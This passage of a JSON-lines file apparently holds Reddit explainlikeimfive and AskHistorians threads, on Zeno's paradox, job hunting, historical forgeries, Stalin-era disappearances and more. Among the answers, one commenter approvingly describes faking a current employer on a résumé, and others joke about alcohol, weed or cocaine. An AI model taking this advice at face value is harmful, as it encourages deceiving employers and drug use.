wrong because reality isn't divergent.\n\nA convergent infinite series sums to a value, like 1.  All these \"paradox\" ideas act as though having an infinite number of terms was somehow always divergent.  They are not paradoxes, it's just badmath to think that having an infinite number of terms somehow implies having an infinite value.  The smaller the blocks you divide time into, the more blocks each heartbeat skips over.  With an infinitely small blocks you can easily skip over an infinite number of them, **because they are infinitely small!**", "Well, to move from 0 to 1 second, it takes time exactly 1 second.\n\nIf you divide this into 0.1, 0.11, 0.111 and so on, you make increasingly smaller steps that require increasingly small amounts of time to make.\n\nSo you make infinitely many steps but they are so small, that in order to complete them all, it takes exactly one second (duh).\n\nWhat you fell for is the \"and so on to infinity\", believing that an infinite sum of something needs to be infinite. Well, it doesn't need to.\n\nFor example: 0.5 + 0.25 + 0.125 + ... = 1 (even if the thing on the left hand side has infinitely many terms, they still don't amount to much because as they get smaller, they matter less)", "Well the main thing to consider is humans made up math. Numbers are completely imaginary, we just use it as a tool to further our understanding of the world around us.\n\nAlso keep in mind that time in the classical sense is also imaginary (we only perceive it because we have memories).\n\nThink of time as the changing of one state to another in space. You were here, then you walked there. It took an amount of *time* based on our own arbitrary definition of a second (the base unit of time).\n\nTime does not depend on the fact that a second can be divided into infinite intervals (because we say so based on our own invention of numbers).\n\nThe only occasion that time can eventually slow down and can pass *towards* a second but never actually reach one second is if an observer watched a clock for example become infinitely close to the event horizon of a black hole. In which case you can always get closer to 1 second passing but never actually reach it.\n\nHope this, in conjunction with other answers, furthers your understanding.", "Can someone ELI5 the question first?"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://en.wikipedia.org/wiki/Zeno%27s_paradoxes"], [], ["https://en.m.wikipedia.org/wiki/Zeno%27s_paradoxes"], [], [], [], [], [], [], []]}
{"q_id": "3ztjfe", "title": "what is the reasoning behind 4-way stop sign intersections?", "selftext": "Everywhere I see them the roads are never busy and the intersection is not dangerous at all. They are also popping up everywhere in large mall complexes and they make entering and exiting the shopping area infuriating!!", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/3ztjfe/eli5what_is_the_reasoning_behind_4way_stop_sign/", "answers": {"a_id": ["cyowt0f", "cyozl7k"], "score": [5, 2], "text": [" > Everywhere I see them the roads are never busy \n\nThat's exactly the point.  Multi-way stops are for intersections where there's just enough traffic to make it a bad idea to have stop signs for one road but not the other (because the stopped people will have to wait too long to go), but not enough traffic to justify a complex traffic signal setup (which is very expensive).", "I live in DC's Georgetown.  They're at every intersection other than M Street and Wisconsin Ave.  I bet ours have been here since horse and buggy days.  \n\nIf people are accustomed to them, they're great.  I notice that cars with out of state plates presumably visiting Georgetown University can really gum up the works though.  "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "48hal3", "title": "why is it easier to get a job when you already have a job?", "selftext": "I've heard this countless times, written in articles and from recruiting professionals. \n\nEvery time I've been on an interview, they ask me when I'd be able to start. When I give them a date two to four weeks away, their face always drops and I can tell they're no longer considering me because they need someone sooner than that. I know that my personal anecdote doesn't invalidate something that's known to be true but of the many interviews I've been on, I've only found that having a job already is cumbersome to whoever you're interviewing with. ", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/48hal3/eli5_why_is_it_easier_to_get_a_job_when_you/", "answers": {"a_id": ["d0jht5b", "d0jhuk7", "d0jhvvj", "d0jhzc4", "d0jiqjz", "d0jivui", "d0jkft0", "d0jnxr8", "d0jo2dm", "d0jqkr6", "d0jtus6", "d0jw4yw", "d0kaz1t"], "score": [16, 15, 67, 267, 3, 5, 2, 28, 16, 3, 6, 4, 3], "text": ["I think many companies will actually wait the 2-4 weeks notice period. If they're desperate to get you (or probably anyone) in ASAP, you perhaps then have to question the long-term prospects of the role. \n\nIt's easier because you're less pressured to take the first job that comes along and your bargaining position is stronger. ", "Looking and interviewing for jobs is easier when you already have a job because there's no need to discuss why you were let go, and no problem with the potential that you were let go because you're a liability to the company. An employed person is self-evidently employable.\n\nIf you're losing opportunities because you want time to give notice at your current gig, maybe change it to, \"I'd like to be able to give reasonable notice with my current employer, but if you need me immediately, we might be able to work out a transition plan.\" In other words, make it worth my while.", "Because being unemployed is a red flag for employers.  It makes them come up with reasons why they might be unemployed. ", "It's easier to get a job when to have a job because you're in a stronger negotiating position. You don't have to have the job, you already have one.\n\nAlso, if you encounter an employer that is loses interest because you can't start for two weeks, you should feel lucky. You're dodging a bullet. This is an indication that the place has high turnover and they value getting a warm body quickly more than getting the right person.\n\nThen you have to think to yourself... \"there must be a reason why they have that kind of turnover.\" Any reason you come up with is likely to be a reason you'd want to work somewhere else.\n\nNo good employer will have any problem with waiting 2-4 weeks to bring on a good employee.", "This is actually two questions:\n\n >  Why is it easier to get a job when you already have a job?\n\nExperience and reliability. If you've never had a job, then you lack experience. You will only get low-skill jobs. If you have had jobs, but are currently unemployed, then it raises the question of why you are unemployed. While plenty of people are unemployed through no fault of their own, an interested company is probably going to choose someone currently employed over one that is not, as a way of hedging their bets.\n\nWith respect to the scenario you describe, obviously if a company is looking for a job that means they have a slot that needs to be filled ... immediately. It's a hole in their workforce that isn't pulling in money, and since it requires the time of many people to recruit new employees, such unfilled slots are a drain on resources and funds. So, of course they want to fill it now.\n\nHowever, most companies perfectly understand the need for giving two-weeks notice (at least in the US). It is a standard professional courtesy. In fact, some companies might think it a red flag if you are willing to immediately leave your job, as it indicates that you might do the same to them. So while they, ideally, would like you to start now (which is why they ask), most companies know and accept the two-week rule.", "I've never had an issue with asking for 2 weeks notice. I have been pressured to start in 2 weeks and not take another couple of weeks in between, but 2 weeks is the standard.\n\nI have also heard of managers completely disregard a candidate because he or she was going to be leaving within the next couple of weeks for a month long vacation in Europe or something.", "It could be a perception thing. I was unemployed for a couple months and it's terrible feeling when you're searching for a job and can't find anything. Plus you end up applying for tons of things that maybe you're not qualified for. \n\nWhen I have a job I apply occasionally but don't really notice when I don't get a call back. ", "I was unemployed years ago. I put a phony company on my resume as my \"current job\", and when she asked why I didn't include a phone number or reference, I said because I haven't told them I'm leaving yet. It's not really working out and I don't want any drama to go down, but any of these other references will vouch for me. I got the job and the next day I told her the guy fired me on the spot when I gave my two-weeks' notice, so I can start right away. \n\nIt was kind of a dick move, but it worked. ", "Former recruiter here. Companies are like women, they want someone that other people want. It's why if you are a guy, the second you get a girlfriend, you are instantly more attractive to other women. It also brings out the competitive spirit.", "If you have a job, someone else checked you credentials already and since you started working there you weren't fired yet. That doesn't mean you are a 100% match for the position you apply to, but in an application process especially for smaller companies they can only ask and check you so much. Yes, they can fire you in the first few months without providing a reason, but that still wastes their time/money if they have to. \n\nIt would be optimal to never fire someone and find a good candidate without risks. Someone who doesn't have a job poses a risk as they could have health problems, be hard to work with or not as skilled as they appears. It's just statistics, jobless applicants who's real reason for joblessness is unkown are in a pool of people who are jobless and if 50% of those pose a risk it costs the recruiter extra effort to sort out those 50%, if he takes someone with a job there is a small % that person poses a risk, because most companies don't put up with a lot of shit before they fire you.\n\nI think people that lost their jobs in mass layoffs of big companies or because a company went bankrupt are not really affected by that unless the financial situation of the industry is bad, as they have publically well known reasons to loose their job.\n\nThe longer someone is without a job, the more suspicious a company gets when he applies.", "The same reasons it's easier to get another girl or boyfriend when you already have a girl or boy friend.\n\n1) Less desperate\n2) Proven worth(to someone) ", "Same reason it's easy to get girls when you have a girlfriend. \nConfidence, you don't seem hungry and needy.", "The same reason it's easier to attract women when you have a girlfriend. Social proof mostly. They see someone else is currently willing to pay you to work for them, they see that as a massive endorsement. If you are not working, they wonder why nobody else will employ you. They also don't feel compelled to compete for you, and there is no urgency on stealing you away from what you were doing. People always want what someone else has got. If nobody's got you they're less likely to want you."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], [], [], [], [], [], [], [], []]}
{"q_id": "30h8zm", "title": "why is it called the middle east and not west asia?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/30h8zm/eli5_why_is_it_called_the_middle_east_and_not/", "answers": {"a_id": ["cpse37r", "cpses24", "cpshzv2", "cpsieu0", "cpskcli", "cpsshy9", "cpsstt6"], "score": [237, 7, 33, 2, 24, 17, 2], "text": ["Because it was named by Europeans.  From the European perspective, the 'Far East' (China, etc.) is as far East as you can go without running into the ocean.  So the 'Near East' would be when you stop being in Europe and are now in the 'East' and the 'Middle East' would be between those two points (although, in reality, the Middle and Near East are much closer than the Middle East and Far East).", "History. The terms \"Near East\" and \"Middle East,\" and for that matter \"West,\" \"Occident,\" and \"Orient,\" all derive from Eurocentric perspectives.\n\nAs a grad student and aspiring professor in a field that regularly involves discussion of many world cultures, I DO call it West Asia, and hope that my students follow the example.", "I took a history course in college where the professor solely called it West Asia. She was from China. ", "Is there a Middle West?", "We actually do call is Southwest Asia in the military. ", "Fun fact.  When US forces are deployed to Kuwait, we must refer to it as *\"Southwest Asia\"*", "for a long time, everything west of Western Europe was called 'the orient' and it was divided according to how long it took to get there. 'asia' was not how everyday people divided the land."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], [], []]}
{"q_id": "yx3qn", "title": "mongolia.", "selftext": "I never hear about this place anywhere. I know it exists, it feuded with China at one point (hence the Great Wall of China) and Genghis Khan created a Mongolian Empire many centuries ago, but...in modern times, I've never read a story or heard a news item that came from Mongolia. It's like nothing of consequence or interest to a larger audience than inside Mongolia happens there.\n\nSo what is Mongolia like? How do Mongol people spend their days?", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/yx3qn/eli5_mongolia/", "answers": {"a_id": ["c5zldqv"], "score": [2], "text": ["You don't hear much about it because they have so few people living there (there are more ethnic Mongolians living in China than the population of Mongolia). They have a few large metropolitan areas but other than that most of the country is very empty. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "4f265q", "title": "why is bp increasing its exec's pay when they have falling profits/incoming fines?", "selftext": "Is it because they need to retain talent/show they are willing to retain talent through generous compensation following a slew of negative events?", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/4f265q/eli5_why_is_bp_increasing_its_execs_pay_when_they/", "answers": {"a_id": ["d259jz8", "d25oxmp"], "score": [27, 3], "text": ["Just because you are operating at a huge loss does not mean they are doing a bad job.\n\nOil prices and backlash from the recent spill both have tremendous effects on their bottom line. The execs could very well have changed a ten billion loss into a one billion loss, which means they could have done an excellent job despite operating at a loss.\n\nAt the same time, there is also the fact that they determine their own pay, and tend to get as high an increase as they can get away with, so greed could just as well be a huge factor.", "It's simple.  When the company is doing well, the CEO deserves a reward for doing such a good job.  When the company is doing poorly, the CEO needs a larger incentive to reinvigorate the company and drive higher profits.  Either way, their pay gets increased.\n\nDon't make the mistake of thinking this applies to the average employee, though.  Nope, that would be \"unrealistic\" and \"absurd\".  This only works at the executive level."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "1v9ved", "title": "why am i sometimes witty and full of conversation and other times i find myself struggling with even small talk?", "selftext": "I'm almost certain it isn't down to where I am, my mood, or who I'm with. Some days I can talk to anyone and be quite witty (I think) and other days I struggle to even get past hello, why?\n\nEdit: Thanks everyone, I have actually just started trying to change my diet for an upcoming tough mudder event so thanks for pointing that out as a possible explanation! I will take note of all of these replies and try to pin it down, thanks again. ", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/1v9ved/eli5_why_am_i_sometimes_witty_and_full_of/", "answers": {"a_id": ["ceq4gig", "ceq52em", "ceq7dbm", "ceq9sem", "ceqao9f", "ceqbqf1", "ceqd785", "ceqecoj", "ceqfwkg", "ceqh5mo", "ceqioid", "ceqjep3", "ceqjw2x", "ceqjzn0", "ceqk1tv", "ceqk33z", "ceqkgoj", "ceqkw72", "ceqlqsh", "ceqodh6", "ceqokxr", "ceqpzkf", "ceqqy15", "ceqr14k", "ceqrug3", "ceqshqa", "cequ449", "cequhmv", "ceqvglk", "ceqvhyq", "ceqw431", "ceqw5st", "ceqw82g", "ceqwaf4", "ceqwd9z", "ceqwg5a"], "score": [919, 10, 38, 3, 567, 127, 25, 4, 8, 13, 3, 3, 2, 68, 3, 8, 3, 10, 7, 3, 2, 2, 4, 2, 3, 5, 3, 7, 2, 2, 3, 4, 5, 3, 2, 2], "text": ["because you're a non-shy introvert who is not socially awkward but you need more time than most to recharge your batteries alone.  this is a timely question you ask because I'm currently reading the book \"Quiet: The Power Of Introverts In A World That Can't Stop Talking\" by Susan Cain.", "Id say its mood based. If you're happier you tend to be invigarated and excited thus a quick thinker. If you're just going through the motions and don't really care then that could change the way you act in a conversation. ", "For me, it's related to fatigue. I can feel fine and not sleepy and all that, but if I have had a hard day or just have been up too long (especially if I am past my usual bedtime), my skill at having conversations with people dries up. One time, when I had a job that was having me alternate between days and nights, I think I went a couple of months without having a really good conversation.", "I have a similar problem,  truth be told. Now some of it is tied to my ADD. Has my medication kicked in or run out? Has it just been a full day? These are a couple of factors, but one that I think affects most people is diet. If I haven't eaten in a while, or if I've eaten poorly, my energy tanks and I go all introverted, even if my physical energy hasn't been affected.", "Happens to me and I've become very aware since I have a job where I often have to interact with people one-on-one, in meetings, etc. \n\nIt's about the health of your whole system, I firmly believe. If I have something coming up that requires me to be chatty, I make sure I eat well, stay hydrated, get enough sleep, and then do something to energize myself prior to the occasion.\n\nHere's generally what that means, for me. Try it for yourself and see if you get results. I'm not saying this needs to be done every day to gt results. At least make this your goal for the previous day.\n\nFirst off, don't eat like a fatty at night. Eat a reasonable portion of food and give yourself at least 2 hours to digest it before you go to sleep. Don't go to sleep feeling full. I'm no expert but my quality of sleep suffers when my body has to digest while I sleep and I wake up feeling groggy.\n\nSecond, stay hydrated. Don't measure your water in ounces but you shouldn't be getting thirsty throughout the day. Stay ahead of it. Have a glass of water here and there. Or at least take a few sips every 15 minutes. If your pee is dark you're not there. You want very light yellow.\n\nThird, go to bed at a time that lets you get at least 7 hours of sleep. Even if you're not a great sleeper just be in bed resting your mind for at least that long.\n\nLastly, do something to energize yourself. For me, that means listening to some kick ass music and/or exercizing. Even if it's just walking a route that takes you up/down some stairs.  Sometimes I'll call somebody I know just to have a conversation and kick start my brain if I haven't been talking much that day.\n\nNext time you have a witty day, or a sluggish day, keep track of these items and maybe you'll start seeing a pattern form. \n\nI do believe this is something you can influence. \n\nHope this helps.", "Sometimes it's the person. \n\nI just had a great 10 minute long conversation with another student in my English 110 class. We talked about everything we did before this class (High school, hobbies, pets, etc...). The conversation just *flowed*. Didn't feel forced, and the whole thing was fun. She will always have a study partner if she wants one. \n\nOther people? You can't even get a few sentences in. You can just feel the fact that they *don't* want to talk to you (for whatever reasons). \n\nThat's my take on this anyways. \n\nEDIT: Nice to know that you guys agree :D", "You're tired. I have a very monotonous job that starts at 5 in the morning. Being a night owl, it's very tricky for me. I have analyzed the effects of sleep deprivation to death during the time I spend here bored, and it shows nowhere more than socially. \n\nThere are days my replacement comes in around noon and I'm on top of my game, getting into good conversations and feeling genuinely happy to see someone. Other days I can't even make eye contact and mumble a hello. Sometimes in an average conversation, I'll get really fixated on something minor and let it nag in the back of my head for the duration, other times it's super easy to go with the flow.\n\nFor a long time I thought I was an introvert by nature, but it turns out I was really a grumpy sleepy teenager who never treated his body very well. ", "For me, it depends how much I've had to drink. ", "Dieting definitely takes a toll, but I broke out of my introverted shell by honestly going out and drinking. Taking a few shots automatically helped, but after some time, conversing just became pretty natural without the booze. What's really nice is when I run into people like my former self, I completely understand where they are coming from and try to do most of the talking and keep as interested as possible because I feel it helps them get going. Interestingly enough, I can't keep it up all the time speaking with introverts and I do eventually feel like I'm struggling to talk, turning back towards my former self.  \n  \ntl;dr alcohol made me an extrovert", "It's partly comes down to your mood and energy levels. This affects how you feel physically and mentally. \n\nRemember when you were young and you felt tired, you pretty much passed out. It didn't take any effort, your head hit the pillow and you were gone. As you get older the equilibrium between your mind and body can lose it's balance due to us being preoccupied with the stresses of everyday life. We're so busy with work, family, and friends that we try and cheat your body into not feeling fatigued or your mind from forgetting that it's being overworked. Doing this for a prolonged period of time, days or weeks, is what leads to adults waking up dazed and tired and feeling as if they can never catch up on their missed rest.\n\nA good tip is to pay more attention to your mental and physical well being. Sleeping, exercise, and food intake is generally the starting point in fixing most problems. Get real sleep, eat well, and make sure to exercise on a daily basis. If you do all of these things you'll find that it affects your positively in many ways including how you interact with other people.", "I'm glad you asked this, I relate to this entirely.", "People always say I'm shy n quiet when it comes to group setting conversations. It just so happens that most of the time people are talking about things that don't interest me at all. \n\nGet me talking about something I am interested in and you'll have a different opinion on my 'personality'\n\nEg. People talking about their dream cars, sports in general. (Except MMA)", "I reckon it could have to do with cognitive load.  Sometimes you don't got the brain sugars, because you ate them all up looking at a screen, figuring something out, worrying about something etc.\n\nMaybe sometimes you've got other shite rattling through your consciousness that glues your social lube up.\n\nMaybe sometimes you're in harmony with a social dynamic and sometimes not.\n\nI'm dubious about personality type pigeon holing.  I think a lot of social comfort and capability comes from practice.", "You're an ambivert. So am I.  I'm a pro musician and spend a ton of time with large groups of people and entertaining audiences, but often times I get worn down and can't really turn the social switch on.  I find that if I go and have a few hours of quiet time I can recharge the batteries and be ready for more.  I really like to be around people, but sometimes I also really like to be alone.  If you're not feeling a conversation or getting anxiety, don't fight it - disengage and go be alone for a little while.  People will think you're mysterious and like you more.  Then you'll win the everything.", "Before weed/ after weed", "Cute and relevant cartoon that I think explains it pretty well! PS You're not the only one! I feel that way all the time\n\n_URL_0_", "It usually depends on the quality of weed I'm smoking", "Because the times you struggle with small talk are the times you couldn't care less about bonding with the person you're conversing with.", "Because you're human, you dope. ", "This happens to me as well, and I've associated it with intellectual exercise. Your brain is just like a muscle in your body, if you work it too hard, it needs time to recover. Energy is spent forming new neural pathways which I am guessing need time to \"solidify\" if that makes sense, and in the meantime your brain just isn't functioning at 100%. Social interaction is also one of the most demanding tasks for your brain to take on. \n\nI am a web developer, and there are times where I am totally stumped by a problem and work extremely hard at trying to solve it - to the point where I just get burned out, defeated, and exhausted. \n\nWhat I've found is for the rest of the day, or the next day, I'm in a bit of a fog (like my mind is mush) and virtually all of my social skills turn into a train wreck. I stumble over words, have a hard time processing what people say, generally very quiet etc. \n\nHowever, after my mind has had a chance to recover, I'm back to normal (and I've usually been able to solve the programming problem that had me stumped earlier). \n\nThis over-exercising of my brain puts me in a fog regardless of how much sleep I get. Usually if I get defeated by a coding problem, I'll end up going to bed early, and get a good night's sleep. Yet despite that, I am still foggy the next day.\n\nI could just be imagining things, but when I over-exercise my brain, my mind feels the equivalent of my body if I do too much physical exercise.\n\nSo perhaps you should evaluate if you're doing anything intellectually strenuous (even if it's difficult social interaction, as that is quite demanding on your brain)", "I am a very social person and I love meeting new people and chatting it up and have been told I am quite the conversationalist knowing a little about a lot of things but now and then I just need to get away from everyone. I forget what I was saying and just wind down. After all these years (I am 49) I have realized that I absorb a lot of information when I am around people and I have several layers of very active processing happening as I am a very aware person and also I am very empathic meaning I either feel what other people are feeling or in some way I just am very aware of how people are feeling and I think I get \"full\". Like I really need to go away from everyone and let my brain processing catch up. During these times I tend to like to be quiet and not interact with people at all.", "You couldn't have described this better. I feel this way all the time and I'm glad someone could put it into words. Thanks!", "I think a lot of it comes down to what kind of track your mind is on.  Some days, your brain is wired to talk and communicate with others in conversation.  Other days it can be hard to come up with things to say, and you may be better off thinking things through and focusing on introspection.  Perhaps you could track what kinds of things you were doing on a day, and see if you could track any patterns.  That way you'd be able to predict, and possible control what kind of mindset you were in. \n", "Regression to the mean. Your spectacular moments are watered down by the average ones.\nOr, alcohol,one of those two.", "Two words:\nAlcohol", "I actually just learned that being a good conversationalist is a LEARNED SKILL and one that not everybody is automatically good at (but can become better at with training and practice).  Also, it is a skill that requires a bit of momentum to get going.  For instance, if you've been talking to people all day, you should find it easy to talk to people.  But if you've been sitting at your computer looking at cat pictures all day, chances are you won't be as adept at a brand new conversation.", "Energy definitely plays a role, but it is different for Introverted and Extroverted people.  Extroverts are usually energized by social gatherings and Introverts are usually drained.  The reason is introverted people tend to be hypersensitive to other people's emotions, and most of us* spend considerable time and effort trying to make other people feel better when we're with them. When with a group of people the introvert is spread around trying to make so many people happier, and that can be mentally (and thus physically) exhausting or draining.\nThis doesn't at all mean that Extroverts are self-absorbed or unempathic. They are usually there for others when those people really need them to be. It just means that Introverts habitually self-sacrifice in one particular way.  Introverts can be energized by social gatherings if they stop thinking about how other people are feeling and spend the time only to please themselves.  Extroverts can be drained by a social gathering if they have problems with one or more of the other people.\n\n\n*Usually without realizing it until a scientific study comes along and tells us the difference between our and other people's experience of living.", "This will probably never see the light of day, but I find I can get myself into a social mood just by thinking about it and wanting to be social ahead of time. Sometimes I can be sociable randomly, but I have found that if I actively focus on wanting to be social in a situation I am going into I'm almost always significantly more social than my average. Half an hour to an hour before I go there, I just start thinking \"I want to be social, I want to be clever, and I want to get to know these people better\" and it really works. \n\nOf course sometimes it happens without trying, and I suspect that can be attributed to b30 and others answers. If you ever try this, let me know how it works for you!", "I know exactly what you are referring to. I believe it is simply a matter of sleep. Everyone needs different amounts, but when you get enough sleep, it's much easier to have witty conversations because your brain is able to function at higher cognition levels.", "most of the time im quiet. but when i'm behind a register or volunteering for an event, i turn into a bubbly people person.", "seems like everyone here would have you believe a good diet makes you witty and full of conversation, lol..", "Context is huge. People's behaviors are domain-bound. The classic example of this is the guy who does great at work, but makes a mess of his home life. But it is usually *much* more fine-grained than that. \n\nIt's possible there's a biological explanation, as mentioned by others. But it's also possible that you start the day with one interaction that, for whatever reason, feels uncomfortable, and that throws you as you move into the next interaction, and you start to think *what the hell's wrong with me today*, and etc.\n\nIf this starts happening, reset your context; seek out, as soon as you can, an extremely easy interaction -- a good friend at work, a phone call to somebody who you know will always bring you up.\n\nAnd keep in mind that the stakes are generally much lower than they appear, moment to moment, to be. ", "you aren't drunk enough", "From my experience, it seems to come from whether or not you are where you want to be. If I am happy being in the moment I'm in, I am more likely to engage in conversation and talk to the person.  However, if I'm tired, feeling spacey, or just cannot wait to get home or somewhere else, I'll just look at where I'm at as a quick stop before I reach where I really wanna be. I kind of just go through the motions, rather than live in the moment and react as I normally would to those around me.\nDisclaimer: I have no idea what I'm talking about and am just speculating.", "b30 has some good points about nutrition, for sure that is important.\n\nBut the actual answer is that you're human. No one feels anything all the time, be that happy, friendly, sad, angry, or whatever else. Eat anything you want, what it comes down to is what you decide you are going to feel like at any given time. With the exception of certain mental conditions that have actual effects on brain chemistry, you have the inate ability to evaluate your situation and decide to feel and/or act however you want. For instance, I spent 30 minutes on the treadmill today despite getting the feeling that I was going to die somewhere around the 10 minute mark.\n\nIn the end though, no one but you cares if you're chatty or reserved. People like talking about themselves, so if you're having a \"small talk only\" day all you have to do is ask leading questions. No one will notice that you're not talking, I promise.", "you forgot to take cocaine"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], [], [], [], [], [], [], [], [], [], [], ["http://romanjones.deviantart.com/art/How-to-Live-with-Introverts-291305760"], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], []]}
{"q_id": "urtc3", "title": "AskHistorians, are there any cases of texts or anything being found that blew our mind about the ancient world, only to later find they were fiction?", "selftext": "I was thinking about Lord of the Rings the other day and that about what if in the future, some other culture or species finds copies of the Lord of the Rings or something similar, and thinks that's the ancient history of the World and I wondered if there's ever been a point where something we've found has blown our mind about the ancient world, only for us to later discover it was essentially the equivalent of a Novel, or Play from that time period?\n\nEDIT: Didn't expect this many responses, Thanks guys!", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/urtc3/askhistorians_are_there_any_cases_of_texts_or/", "answers": {"a_id": ["c4xyhh9", "c4xymre", "c4xz3o1", "c4xz8bj", "c4xza9f", "c4xzyg8", "c4xzys6", "c4y0j17", "c4y1dtp", "c4y1sca", "c4y26t9", "c4y2juu", "c4y2k4v", "c4y395u", "c4y4dif", "c4y4i2d", "c4y6tee", "c4yl92w"], "score": [36, 125, 32, 50, 60, 24, 59, 31, 14, 3, 25, 3, 2, 11, 3, 5, 3, 5], "text": ["There have been some high profile cases of people forging 'ancient' literary texts.  I think the most famous was the Ossian poems, which were influential for romanticism and hailed by some as a 'New Homer' despite being fabricated entirely by their modern author.  ", "The Bi--actually, nevermind.  I have no answer.  Ignore this comment.\n\nBut yeah, the Bible has some extremely interesting stuff in it, was accepted for the better part of 2000 years by nearly everyone, but it's probably mostly fictional.  I'd imagine the same can be said of many religious texts and national epics like The Odyssey and the Aenead, and what have you.\n\nSorry if this isn't what you're looking for...also didn't mean to offend anyone.  ", "The Donation of Constantine. _URL_0_", "The most well-known chronicles of the Trojan war in the medieval era (before Homer's epics were rediscovered) were fake. _URL_0_", "Hitler Diaries were fun for a couple weeks.", "I love meeting people that think the Necronomicon is real...", "I'm just reminded of the phrase \"My sources are unreliable, but their information is fascinating.\"", "Maybe not completely what your looking for, but the legend of the mythical Prester John managed to influence European explorers and historians for centuries, only much later to be proved a complete myth.\n\n_URL_0_", "The [Voynich manuscript](_URL_0_) might fit loosely. A lot of people thought it could contain important coded information, but statistical analysis now makes it seem more likely that it's gibberish.", "The Mar Saba letter referencing a Secret Gospel of Mark might count.  But I believe the controversy over its authenticity is still unsettled.  Great story, really.", "Not exactly ancient but the [Protocols of the Elders of Zion](_URL_0_) caused more than a few problems for the Jews. ", "The Zohar was given a lot of attention by some Medieval Jews, but today, scholars know that it was false because of the dialect of Aramaic it was written in, and its references to other Jewish texts that were not as old as the Zohar had claimed to be.  ", "I'm no expert, but the truth/fiction dichotomy along with truth being a privileged form of information are recent developments in themselves. Probably Renaissance era at the earliest?", "The Kensington Runestone, in Alexandria, Minnesota:\n\n >  *The Kensington Runestone is a 200-pound slab of greywacke covered in runes on its face and side, most probably created in modern times to claim that Scandinavian explorers reached the middle of North America in the 14th century, whereas they have only been proven to reach Newfoundland. It was found in 1898 in the largely rural township of Solem, Douglas County, Minnesota, and named after the nearest settlement, Kensington. Almost all Runologists and experts in Scandinavian linguistics consider the runestone to be a hoax. The runestone has been analyzed and dismissed repeatedly without local effect. The community of Kensington is solidly behind the runestone, which has transcended its original cultural purposes and has \"taken on a life of its own\".*", "Many medieval commentators took the Travels of John Mandeville to be a more accurate account of the east than Marco Polo's.  I'd suggest you read [Mandeville's Travels](_URL_0_) to see what's wrong with that assessment.  Also, because it's an incredibly fun text. ", "The [Historia Augusta](_URL_0_) claimed to be the collected works of six contemporary Roman writers covering the 2nd and 3rd centuries, and until the 19th century was regarded as the authoritative history of that period. (Many of the more outlandish stories of Imperial Rome come from this work.) But it\u2019s since been proven to be a work of historical fiction, probably dating to the late 4th century.\n\nIn spite of that, historians still rely it (though with caution) because the author seems to have made use of other, more authentic histories that are now otherwise lost.", "A diary of Lincoln and a verbatim account of the week leading up to the Civil War was proven to be fake but later deciphered by Daniel Crofts. He was actually a professor of mine so I remember him talking about it when he published it. Here is the book if anyone is curious [\"A Secession Crisis Enigma: William Henry Hurlbert and 'The Diary of a Public Man'\"](_URL_0_)", "Well I'm way too late for this comment to get any notice, but [the epistles of Phalaris](_URL_0_) and the associated controversy are exactly what you're talking about.\n\nFor centuries people had believed this document to be the genuine letters of [Phalaris](_URL_1_), the Sicilian Tyrant, famous for the brazen bull  & c.  In the 1690s Richard Bentley applied modern philological methods to them, and pretty conclusively demonstrated that they were centuries-after-the-fact forgeries.  \n\nThere was a huge controversy over Bentley's findings (immortalized in Swift's *The Battle of the Books*, as a ton of people, most famously Sir William Temple, really really liked the Epistles of Phalaris and \"felt\" that they were \"authentic\".  \n\nOh, and Bentley demonstrated that Aesop's Fables could not have been written by the historical Aesop, at least not the fables that we have now and call \"Aesop's Fables\"."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], ["http://en.m.wikipedia.org/wiki/Donation_of_Constantine"], ["http://en.wikipedia.org/wiki/Dictys_Cretensis"], [], [], [], ["http://en.wikipedia.org/wiki/Prester_John"], ["http://en.wikipedia.org/wiki/Voynich_manuscript"], [], ["http://en.wikipedia.org/wiki/Protocols_of_the_elders_of_zion"], [], [], [], ["http://www.planetnana.co.il/notes/books/mandeville.htm"], ["http://en.wikipedia.org/wiki/Augustan_History"], ["http://www.amazon.com/Secession-Crisis-Enigma-William-Hurlbert/dp/0807135917/ref=sr_1_4?s=books&amp;ie=UTF8&amp;qid=1339213575&amp;sr=1-4"], ["http://en.wikipedia.org/wiki/Richard_Bentley#Dissertation_on_the_Epistles_of_Phalaris", "http://en.wikipedia.org/wiki/Phalaris"]]}
{"q_id": "1ly2ym", "title": "Have any of the people who disappeared under the Stalin regime ever been found?", "selftext": "", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/1ly2ym/have_any_of_the_people_who_disappeared_under_the/", "answers": {"a_id": ["cc3vjqw", "cc3xto0"], "score": [10, 5], "text": ["Lots of them. Groups like [memorial](_URL_0_) have been involved in locating and excavating mass graves all over the former USSR. ", "Large numbers of people who were forcibly resettled for being Kulaks during the purges in 1930-31 and 1937-38 were formally rehabilitated and allowed to leave following the death of Stalin.  Additionally, people held in gulags were often allowed to leave in order to fight in the Second World War, by 1947 only 24k remained in the so called \"special settlements\" for the Kulaks, down from a high of approximately one million.  \n\nAs for those killed, the regime kept fairly extensive records which were declassified under Gorbachev.  This led to many relatives discovering that a prisoner who \"lost the right to correspond\" was actually executed.\n\nLynne Viola, a history professor from the University of Toronto, wrote a great book on the subject, [The Unknown Gulag](_URL_0_)."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://en.wikipedia.org/wiki/Memorial_(society\\)"], ["http://books.google.com/books/about/The_Unknown_Gulag.html?id=gG6cPY2RpzUC"]]}
